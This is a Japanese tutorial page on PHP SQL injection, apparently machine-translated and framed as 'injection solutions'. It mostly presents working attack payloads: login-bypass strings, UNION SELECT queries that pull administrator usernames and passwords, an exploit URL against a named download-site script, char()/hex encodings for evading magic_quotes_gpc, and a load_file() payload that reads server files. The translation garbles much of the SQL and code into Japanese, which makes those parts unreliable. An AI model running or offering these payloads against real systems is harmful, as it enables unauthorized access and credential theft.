ホームページ >バックエンド開発 >PHPチュートリアル >PHPインジェクションソリューション(2)_PHPチュートリアル
インジェクションステートメントを構築しましょう
入力ボックスに「
」と入力します
a% と 1=2 の和集合は、
から 1、ユーザー名、3、4、5、6、7、8、パスワード、10、11 を選択します
alphaauthor# は SQL ステートメントに配置され、
select * from alphadb where title like %a% and 1=2 Union select
1、ユーザー名、3、4、5、6、7、8、パスワード、10、11(alphaauthor# %
どうだ、出て来い、ははは、すべてはコントロールされている。
C: 射出位置から様々な射出攻撃方法を見てみましょう
1) まず、バックグラウンドログインを見てみましょう
コード最初の
//login.php
……
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." と
パスワード= ". $HTTP_POST_VARS["パスワード"] ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
エコー「バックエンドログイン成功」
;
}
えする
{
「再ログイン」をエコーします
出る
}
……
?>
それを回避する方法がわかりますか?
最も古典的なものは今でも次のとおりです:
ユーザー名とパスワードの両方のボックスに「
」と入力します
「または =
」
これを SQL ステートメントに取り込むと、
になります。
select * from alphaauthor where UserName= or = and Password= or =
この方法で取得した $data は true でなければなりません。これは、正常にログインしたことを意味します。
他にも
バイパスメソッドがありますが、原理は同じで、$dataがtrueを返す方法を見つけるだけです。
次の方法を使用できます
1.
ユーザー名とパスワードの両方を入力するか、a = a
SQLは
になりました
select * from alphaauthor where UserName= または a = a および Password=
または a = a
2.
ユーザー名とパスワードの両方を入力するか、1=1 および ' =
SQLは
およびパスワード= または 1=1 および ‘ =
ユーザー名とパスワードの両方を入力するか、2>1 と ' =
SQLは
になりました
select * from alphaauthor where UserName= または 2>1 and ‘ =
および Password= または 2>1 および ‘ =
3.
ユーザー名を入力するか、1=1 # 好きなようにパスワードを入力してください
SQLは
になりました
select * from alphaauthor where UserName= または 1=1 # と
後半はコメントアウトされていますが、もちろん return は true です。
4.
管理者のID=1として、あなたもそれを行うことができます
ユーザー名またはID=1を入力 # 好きなようにパスワードを入力してください
SQLは
になりました
select * from alphaauthor where UserName= or id=1 # and Password= 任意
ことわざにあるように、想像できない限り不可能なことはありません。
授業後には、さらに多くの構築方法を考えることができます。
2) 2 番目によく使用される注入場所は、フロントエンド情報が表示される場所である必要があります。
例を挙げて確認してみましょう
Bihai Chaosheng ダウンロード サイト - v2.0.3 lite にはインジェクションの脆弱性があり、コードはリストに掲載されなくなりました
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,パスワード,4,ユーザー名,6,7,8,9,10,11,12,13,14,15,16,17,18%20から%
20dl_users
ほら、また欲しかったものを手に入れました
ユーザー名アルファ
パスワードの長いリスト。
3 フィールドにパスワードを入力し、5 フィールドにユーザー名を入力するのはなぜですか? すでに述べたように、3 と 5 のセグメントはユーザー名とは異なる文字列タイプで表示されると考えられるためです。表示したいフィールドの型はパスワードと同じにする必要があるので、次のようにします。
なぜ 18 フィールドを使用するのでしょうか?結合選択の導入で、結合には前後の選択で同じ数のフィールドが必要であると述べたことをまだ覚えているかどうかはわかりませんが、選択の数を増やすと、18 個のフィールドが必要になると推測できます。この方法でのみ、union select の内容が正常に表示されます。
3) その他の情報を変更するには、ユーザーが登録する場所にユーザーレベルのアプリケーションが必要です。
更新と挿入については、上記で説明したときにすでに言及しましたが、あまり一般的には使用されないため、ここでは詳しくは説明しません。
2: 次に、magic_quotes_gpc=On の場合のインジェクション攻撃の指導セッションに入ります
magic_quotes_gpc=On の場合、変数内のすべての (一重引用符) が交差されます。
" (二重引用符)、(バックスラッシュ)、およびヌル文字は、バックスラッシュを含むエスケープ文字に自動的に変換されます。
これにより、文字の注入方法は無効になります。現時点では、
を使用せずに数値型を注入することしかできません。
Intval() はこの状況を処理します。デジタル型についてはすでに何度も説明しましたが、デジタル型は一重引用符を使用しないため、この場合は直接挿入するだけで問題ありません。
1) 文字型の場合は、文字を引用符で囲まずに次のようにする必要があります。
ここでは、最初にいくつかの文字列処理関数を使用する必要があります
文字列処理関数は数多くありますが、ここでは主に以下の関数について説明します。詳細については、mysql中国語リファレンスマニュアル 7.4.10 を参照してください。
char() は引数を整数として解釈し、これらの整数の ASCII コード文字で構成される文字列を返します。
もちろん、文字の 16 進数を使用して置換することもできます。これは、以下の例を見るとわかります。
//login.php
…
$query="select * from ".$art_system_db_table[ user ]."
ここで、ユーザー名=$ユーザー名、パスワード= ".$Pw";
...
?>
背景のユーザー名が alpha であることがわかっているとします
ASCIIに変換するとchar(97,108,112,104,97)になります
16進数に変換すると0x616C706861になります
OK、ブラウザに次のように入力してください:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
SQL ステートメントは次のようになります:
alphaAutから*を選択
hor ここで、ユーザー名 = char(97,108,112,104,97)# およびパスワード =
予想通り、彼はスムーズに仕事をこなし、私たちが望んでいたものを手に入れることができました。
もちろん、このように構築することもできます
http://localhost/site/admin/login.php?username=0x616C706861%23
SQL ステートメントは次のようになります:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=
もう一度、私たちは勝者です。すごい達成感です
char() に # を入れることもできるかどうか尋ねられるかもしれません
実際には char(97,108,112,104,97) は alpha に相当します
アルファ文字列を表すために、アルファは引用符で囲まれていることに注意してください。
mysql での実行方法を知っています
mysql> select * from dl_users where username=alpha;
エラー 1054 (42S22): where 句の不明な列アルファ
返されたエラーを参照してください。なぜなら、彼はアルファが変数であると考えるからです。したがって、アルファを引用符で囲む必要があります。
以下の通り
mysql> select * from dl_users where username= alpha;
これは正しいです。
そこに#数字も入れるとアルファ#になります
SQL文に取り込みます
select * from dl_users where username= alpha# ;
ユーザー alpha# が存在しないため、もちろん何もありません。
さて、別の例を見てみましょう
//display.php
…
ここで、タイプ=$タイプ
...
?>
このコードでは、タイプに応じてコンテンツが表示されます。$type にはフィルタリングがなく、プログラム内で引用符で囲まれていません。
type に xiaohua クラスが含まれていると仮定すると、xiaohua の char() は
私たちが作ります
http://localhost/display.php?type=char(120,105,97,111,104,117,97) と 1=2 Union select 1,2,username,4,password,6,7,8,9,10,11 から alphaauthor
それを SQL ステートメントに組み込みます:
「.$art_system_db_table[記事] から * を選択します。」
ここで、 type=char(120,105,97,111,104,117,97) および 1=2 Union は、alphaauthor から 1,2,username,4,password,6,7,8,9,10,11 を選択します
見てください、ユーザー名とパスワードはまだ残っています。スクリーンショットはありません。想像してみてください:P
これはまさに、次に解決しようとしている問題です。load_file() の使用形式は、load_file(‘file path) です。
「ファイルパス」を char() に変換するだけでよいことがわかりました。試してみてください
load_file(‘c:/boot.ini ) は
に変換されます
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
図22
専用の注射器に入れてください
201,2,load_file(char
(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18
ほら、boot.ini の内容が見えてきました。
http://www.bkjia.com/PHPjc/629769.html
になるステートメント